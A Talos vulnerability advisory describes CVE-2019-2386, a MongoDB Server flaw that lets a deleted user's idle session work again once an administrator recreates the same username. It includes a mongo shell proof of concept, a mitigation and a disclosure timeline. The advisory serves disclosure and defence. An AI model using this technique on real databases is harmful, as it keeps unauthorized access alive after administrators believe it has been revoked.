Talos Vulnerability Report

TALOS-2019-0829

MongoDB Server session reuse vulnerability

August 6, 2019
CVE Number

CVE-2019-2386

Summary

An exploitable authentication vulnerability exists in MongoDB Server prior to version 4.0.9. Access to a MongoDB database server can be persisted after user deletion by reusing an established session of said user.

Tested Versions

MongoDB Server 4.0.5 MongoDB Server 3.4.18

Product URLs

https://www.mongodb.com/

CVSSv3 Score

7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-287 - Improper Authentication

Details

Generally, a MongoDB server's session can not be used anymore after the associated user is deleted.

The following behavior is present in MongoDB:

1. A session is established with a user.
2. Said user is deleted by an administrator.
3. Actions are attempted on the previously established session and fail.
4. The session is revoked, and is not reusable even if the user is recreated.

However, if there is no activity attempted on the session in step 3 above, and the user is recreated, the session can be reused.
This provides a possible mechanism for persisting access to a MongoDB server when administrators believe revocation has occurred.

There are two major requirements for exploitation of this bug:

1. Previous access to a user session.
2. An administrator recreating a the user corresponding to this session.

Exploit Proof of Concept

Simple and reliable exploitation is possible with any MongoDB client.

Here is an exploitation example using the mongo shell utility.

The example contains two shells: an admin and an attacker shell.

The commands are labelled with their shell and are given in chronological order.

[attacker connects with "admin" user]
AdminShell$ mongo mongodb://admin:admin@localhost:27017/test

[admin creates "abc" user]
AdminShell> db.createUser({user: "abc", pwd: "abc", roles: [{role: "readWrite", db: "test"}]})

[attacker connects with "abc" user]
AttackerShell$ mongo mongodb://abc:abc@localhost:27017/test

[admin revokes access for "abc" user]
AdminShell> db.dropUser("abc")

[some amount of time passes without activity on the attacker shell]

[admin re-creates "abc" user, possibly with different password]
AdminShell> db.createUser({user: "abc", pwd: "def", roles: [{role: "readWrite", db: "test"}]})

[attacker successfully accesses database contents with previously established session]
AttackerShell> db.test.findOne()

Mitigation

After user deletion, never create a user with the same username again.

This will ensure that database access is revoked from anyone using a previously deleted user.

Timeline

2019-01-08 - Initial disclosure
2019-01-30 - Vendor acknowledged
2019-04-04 - Vendor assigned CVE
2019-04-16 - Fix released without vulnerability disclosure
2019-08-06 - Public disclosure

Credit

Discovered by Mitch Wasson of Cisco's Advanced Malware Protection Group.